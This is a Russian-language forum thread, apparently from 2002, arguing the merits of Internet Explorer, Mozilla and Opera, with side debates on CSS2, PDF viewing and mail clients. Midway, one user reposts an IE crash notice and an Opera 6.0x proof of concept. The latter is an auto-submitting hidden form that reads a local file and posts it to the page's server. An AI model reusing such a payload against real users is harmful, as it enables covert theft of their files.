перевел движок конфы не на HTML 3.2 а на CSS + JS. И специально пишет, что он ><y# клал на пользователей NN4, и не будет ради 2-3 неудачников увеличивать расходы по оплате трафика. И правильно все делает, я целиком за.

Ну и что у IE есть проблемы с ixbt??? По-моему у мозиллы их больше. А причем тут HTML3.2 я не понимаю, мне лично тоже уже давно плевать как выглядит сайт на NN, хотя честно говоря, и как сайт выглядит на мозилле меня мало волнует, ничего специально ради 1% юзеров я переделывать не буду. А того что умеет IE хватает выше крыши для сайта любой сложности.

zapimir

Цитата:

Ну вагонами не продаются, но расскладки по несколько сотен компактов попадаются очень часто, хотя большая часть из них - фильмы и мызыка. Софт для Linux большая редкость... Вот винду купить, или офис это без проблем.

Есть Старофис для Винды. Он даже солидной фирмой сделан. Попробуй найти или скачать.


Цитата:

И аналог Dream'а есть под Linux? Понимаешь, просто даже под Винду есть проги аналоги Photoshop, и от Corel, и от Macromedia, и других фирм, и стоят они тоже порядочно (да и фирмочки весьма солидные). Но всеравно с Photoshop как-то приятнее работать. Вот поэтому я довольно скептически отношусь к gimp, для того чтобы написать, аналог Photoshop, мало быть классным программистом... А попробовать тяжеловато, хотя бы потому что для начала нужно все это достать (ту же Linux), установить для этого нужно выделить отдельный раздел диска, потом ознакомиться с Linux, с gimp и т.п. К тому же, всеравно я очень давно юзаю Photoshop, у меня есть толстенные книги по нему, и работаю с ним не на уровне продвинутого чайника, не скажу что я супер художник/дизайнер, но то, что мне нужно сделать с фотками или с графикой, я сделаю быстро и без особых проблем. К тому же на всё это нужна куча времени, я не могу выделить его, для того чтобы просто сравнить Linux и Win, особенно после моего не самого лучшего знакомства с Linux RedHat (кстати её ставил чтобы скрипты потестить в более реальных условиях, ну и чисто из любопытства). Я надеюсь ты не будишь спорить что для виндов софта больше, и найти-то что тебе нужно проще?

Есть версия gimp для винды (конечно, при переносе появились новые косяки, например, с планшетами, но поработать можно). Для продвинутого чайника или вебмастера, которому не надо рисовать Джоконду - подойдет любой редактор, включая gimp. А профи ставят И шоп, и Painter, и Corel Photopaint. Ни один спец по графике не ограничится одним продуктом.


Цитата:

Ну ты меня успокоил. В XP из-за больших шрифтов ничего не падает

Да не цепляйся ты к незначительному багу, заделанному за несколько дней. Иксы тоже от этого давным-давно не падают.


Цитата:

Кстати с PDF вроде у Мозиллы проблемы?

А какие у браузера могут быть проблемы с pdf? Это не его дело - pdf показывать. Для этого у пользователя должен стоять pdf-ридер.

Про Формулу-1 и НАСА. П4 ещё не проверен. НАСА будет рассматривать его использование разве что к моменту выхода П6.

народ, давайте заканчивать драку по ОС. Это не здесь. Здесь только браузеры.
Качество браузеров можно сравнивать с нескольких позиций. С позиции количества правильности отображения большинства страниц, с точки зрения поддержки стандартов, еще куча позиций.....

Далее, по поводу новых фич... кто ввел Java и Java Script? Фреймы?
Уж не мелкософт ли?

Цитата:

Кстати с PDF вроде у Мозиллы проблемы?

Пардон? Я юзаю американский патентный сайт и не жалуюсь. Надо только поставить Аdobe Acrobat Reader , от фирмы, которая этот формат и делает...
Кстати,
Цитата:

FrontPage, Outlook) и куча мелочи типа редакторов формул

Ой! Нет! Пожалуйста не надо!!!! Вот только Аутглюка мне нехватало...
Редактор формул - стандарт ВО ВСЕМ МИРЕ ISIS Draw!!!
Это я Вам со всей ответственностью заявляю. Юзать микрософт для этих целей - извращение.

Цитата:

А того что умеет IE хватает выше крыши для сайта любой сложности.

Детская болезнь наворотов и попугайного дизайна....
Где Вы видели нормальных серьезных людей, разряженных так, что иначе как клоунадой это не назовешь...
И нечего кивать на мой сайт. У меня тоже нет вкуса, но я способен это понять, а Вы пижонствуете. Сайт можно и нужно сделать так, чтобы было видно, штучная работа и со вкусом, а не дешевая бижутерия.
"Новогодняя елка"...
Кстати, вопрос не в тему и без контекста: Как для IE сделать полупрозрачное меню на сайте, чтобы оно при скроллинге не ездило вместе со страницей...

biomednet
На CSS2 это делается через DIV и position: fixed. А IE такую мелочь естественно не поддерживает Вот и ответ, что zapimir какие фичи из CSS2 нужны народу.

zapimir Ты так и не ответил для чего придумали CSS2.

Ну и что у IE есть проблемы с ixbt??? Нет, потому что естественно MN использовал только поддерживаемые IE фичи CSS. Потому как приходится _затачивать_ под IE.

А проблемы с ixbt у большинства использующих Admuncher, popupcop и т.п.
JS который написал MN режется этими прогами. Об этом целая ветка есть.

biomednet

Цитата:

Надо только поставить Аdobe Acrobat Reader , от фирмы, которая этот формат и делает...

Я читал что Мозилла не показывает pdf файлы при закрытом Reader'е.

Цитата:

Ой! Нет! Пожалуйста не надо!!!! Вот только Аутглюка мне нехватало...

Это не обсуждается... Он там есть, я его юзаю и не только я, и он не пропустил пока ни одного вируса, хотя приходят постоянно всякие вирусняки.

Цитата:

Как для IE сделать полупрозрачное меню на сайте, чтобы оно при скроллинге не ездило вместе со страницей

Вот это как раз и есть "Детская болезнь наворотов и попугайного дизайн", все эти извращения с меню... лучше статического меню для сайта нету.
Bozo

Цитата:

zapimir какие фичи из CSS2 нужны народу

Народу который пока не сделал не одной путней страницы, и которого нет вкуса

Цитата:

Потому как приходится _затачивать_ под IE

Так мозиллы тогда даже в проете не было, что под неё нужно было затачивать? Ну так скажи пусть переточит под Мозиллу, интересно как далеко он тебя пошлет

Цитата:

JS который написал MN режется этими прогами

У меня popupcop и никаких проблем с ixbt не было. Конечно, если ты отключишь JS, то что ты хочешь чтобы тебе показали?

Цитата:

Вот это как раз и есть "Детская болезнь

Я имел ввиду пестрые кричащие тона и усложнение страницы до такой степени, что только один из браузеров нормально ее отображает.
Вот я у Вас, как у специалиста(без кавычек) спрашиваю, возможно ли сделать на чем-либо полупрозрачное меню?
Кстати Вы астон и/или Win2000/XP никогда не юзали? это к вопросу о полупрозрачности.

Цитата:

Аутглюка мне нехватало...

Это не обсуждается... Он там есть, я его юзаю

А причем здесь вирусы? Вы The Bat! пробовали?
Я не пожалел денег на лицензию, потому что софт этого стоил.
А вот за аутглюк я бы не стал столько платить.
Кстати я нормально отношусь к виндам на основе NT...

Цитата:

Вот я у Вас, как у специалиста(без кавычек) спрашиваю, возможно ли сделать на чем-либо полупрозрачное меню?

Еще на IE4 можно было делать полупрозрачные меню, по-моему у него есть для этого специальные фильтры, можно около 20 разных эффектов делать, часто получаются очень толковые вещи. Но я лично считаю, что сделать статическое меню. Кстати есть специальные софтины, которые делают практически любые меню для IE, насчет других броузеров не уверен.
А вообще хватит уже разводить базар о том что нужнее, и т.п. Когда у мозиллы будет хотябы 20-30% рынка тогда это будет более-менее актуально, а пока что, всеравно всё будут писать под IE. Кстати со временем, еще глянем как у Мозиллы обстоят дела с DHTML (т.е. возможность изменения любых свойств, любых элементов с помощью JS.

Цитата:

Кстати Вы астон и/или Win2000/XP никогда не юзали? это к вопросу о полупрозрачности.

Астон я не юзаю, но уже полностью и давно перешел на WinXP, до этого стояли 2000 и ME, так как некоторый софт в 2k не работал, после установки XP необходимость в ME или другой win9x отпала. 2000/XP позволяют делать окна полупрозрачными, с регулируемой величиной прозрачности, знаем, юзаем. Например, DUmeter.

Цитата:

Вы The Bat! пробовали?

Пробовал, тогда не произвел он на меня большого впечатления, к тому же у него вроде до сих пор проблемы с HTML письмами (насколько я понял из последних топиков о проблемах The Bat!)
Может The Bat! лучше Outlook Express, но Outlook, ИМХО, лучше, хотя это опять же дело вкуса, и того что Outlook это не только почтовый клиент.

У меня popupcop и никаких проблем с ixbt не было. Значит popupcop писали знающие программеры и это хорошая прога. А Symantec - это корпорация в которой работает тупое быдло, потому что ее продукты не дружат с дизайном forum.ixbt У меня стоит NIS2003 retail и при включении Ad blocking и Popup window blocking от страниц forum.ixbt.com остается пустое место. Она режет .js. По какому принципу она считает, что это рекламные скрипты- я не знаю. Но проблемы такие есть. И js я не отключал в принципе ни разу в жизни и не понимаю, зачем это нужно делать? Просвети.

Так мозиллы тогда даже в проете не было, что под неё нужно было затачивать? Ну так скажи пусть переточит под Мозиллу, интересно как далеко он тебя пошлет Он не посылает, а регулярно доводит сайт до ума и исправляет ошибки и отступления от стандартов w3c в своем коде. Его постоянно пинают пользователи mozilla+linux и квалифицированные знатоки html которых на ixbt в силу специфики их аудитории немало.

Добавлено
zapimir

Цитата:

Кстати со временем, еще глянем как у Мозиллы обстоят дела с DHTML (т.е. возможность изменения любых свойств, любых элементов с помощью JS.

Именно с DHTML ты обломишься, т.к. в мозилле поддерживается стандартный js 1.5, а не ms jscript, и скрипты сделанные под ms, не работают, да и не должны, в мозилле.

DoS-атака на Internet Explorer
[20.04.2002] <br> При вызове страницы со строчкой <OBJECT DATA="CRASH.HTM" TYPE="text/html"></OBJECT> Internet Explorer начинает отъедать 100% процессора, после чего благополучно падает.
Источник; http://www.xspider.ru/

Добавлено
Удаленный просмотр файлов в Opera
[28.05.2002]
Уязвимые версии 6.01, 6.02. Чтобы просмотреть любой файл на удаленном компьютере, достаточно вставить в страницу следующий код:
<body onload="document.secForm.submit()">
<form method="post" enctype="multipart/form-data" action="recFile.php" name="secForm">
<input type="file" name="expFile" value="c:\test.txt " style="visibility:hidden">
</form>
</body>


Добавлено

Цитата:

А вообще хватит уже разводить базар о том что нужнее, и т.п.

Почему? Ведь именно этим и определяется используемость того или иного софта, и браузеры - не исключение.
Вопрос собственно, звучал, можно ли и как сделать статичные(наперемещаемые) полупрозрачные меню так, чтобы пользователи IE и Mozilla И Opera могли их одинаково видеть...
И вообще в принципе, можно ли сделать любой элемент дизайна так же(по видимости)
И какие важные элементы дизайна могут быть нормально сделаны под IE и принципиально невозможны в остальных браузерах.
Т.е. такое, аналога чему нет ни у кого.
Если же выяснится, что ничего такого нет и все можно сделать видимым одинаково, то вообще в чем предмет спора? Тогда это просто элемент предпочтений в удобстве интерфейса - использование того или иного браузера и вежливости ( или умения) веб-мастера.

Добавлено

Цитата:

2000/XP позволяют делать окна полупрозрачными, с регулируемой величиной прозрачности, знаем, юзаем.

Так зачем же говорить тогда, что это

Цитата:

Вот это как раз и есть "Детская болезнь наворотов и попугайного

biomednet

Цитата:

DoS-атака на Internet Explorer
[20.04.2002] <br> При вызове страницы со строчкой <OBJECT DATA="CRASH.HTM" TYPE="text/html"></OBJECT> Internet Explorer начинает отъедать 100% процессора, после чего благополучно падает.
Источник; http://www.xspider.ru/

Не подтверждаю. IE 6 SP1, Windows XP

Цитата:

Не подтверждаю.

ИМХО эту страничку crash.htm они сварили и именно ее надо вызвать, тогда видимо будет эффект... это ведь сообщение их сканера....
По поводу pdf - этот формат служит для хранения одновременно и текстовой и графической информации. При публикации научных статей это стандарт. Именно он, а не rtf или doc.
Открыв в adobe Acrobat Reader документ, можно выделять и копировать
части текста как при работе с обычным текстом. Просто отображать в браузере ДОКУМЕНТЫ в формате pdf размером 400-700 Кб а то и больше метра - идиотизм. Это НЕ КАРТИНКИ! Нужны полноценные инструменты для работы с документом.

А скачиваются документы адоба не хуже зипа или рара....

Mozilla

http://www1.xakep.ru/post/16663/default.asp
без комментариев.

Пока что ниче лучше IE я не нашел. Так что юзаю его с большим удовольствием.

Bozo

Цитата:

Но проблемы такие есть. И js я не отключал в принципе ни разу в жизни и не понимаю, зачем это нужно делать?

Я тоже, но есть люди, которые боятся, что c помощью JS попортят их комп

Цитата:

Его постоянно пинают пользователи mozilla+linux и квалифицированные знатоки html которых на ixbt в силу специфики их аудитории немало

Не знаю сколько его там пинают, но факт остается фактом, он до сих под IE.

Цитата:

Именно с DHTML ты обломишься, т.к. в мозилле поддерживается стандартный js 1.5, а не ms jscript, и скрипты сделанные под ms, не работают, да и не должны, в мозилле.

Да дело не в том какая версия JS, если мозилла поддерживает 1.5, она должна поддерживать и предыдущие. А какое принципиальное различие между jscript и javascript? Как говорится найди десять различий
А вообще скрипты от IE не работают в Mozille по нескольким причинам, у IE более продвинутая объектная модель, например, и у IE есть свои фичи. К тому же у Мозиллы там еще багов хватает.
biomednet

Цитата:

чтобы пользователи IE и Mozilla И Opera могли их одинаково видеть

Почти наверняка - нет. Да и никто страдать этим не будет (разве что у кого-то масса свободного времени)

Цитата:

Т.е. такое, аналога чему нет ни у кого.

Я уже говорил о некоторых вещах которых нет в других броузерах, которые нравятся заказчикам, и которым наплевать, что это не показывается в других броузерах.

Цитата:

Если же выяснится, что ничего такого нет и все можно сделать видимым одинаково, то вообще в чем предмет спора

У Оперы таких расхождений множество, кстати Мозилла неправильно показывает HR.

Цитата:

Тогда это просто элемент предпочтений в удобстве интерфейса - использование того или иного браузера и вежливости ( или умения) веб-мастера

Ты мало сайтов видел которые в Мозилле/Опере криво показываются? Нравится тебе Мозилла - юзай её на здоровье, нравится Опера - юзай её, я не собираюсь кого-то, в чем-то переубеждать, просто мне не понравились необоснованное "опускание" IE, я показал, что Мозилла тоже далеко не совершенна, причем даже до уровня IE ей еще нужно дорости, начало неплохое, но она еще очень сырая.

Цитата:

Так зачем же говорить тогда, что это

Одно дело когда показывается график скорости коннекта полупрозрачным (оно по задумке не должно сильно бросаться в глаза), а другое дело меню, ну сделай еще там надписи цвета фона ИМХО, полупрозрачным нужно делать вещи которые в принципе не сильно важны, чтобы на них не акцентировать внимание.

Цитата:

По поводу pdf - этот формат служит для хранения одновременно и текстовой и графической информации.

Я отлично знаю зачем он, вообще-то задача pdf - платформонезависимые документы. Не все pdf очень большие, к тому же когда смотришь их сразу в IE, они открываются постепенно, так что возможно тебе и не понадобится закачивать их полностью. Ты кстати видел как они в IE загружаются?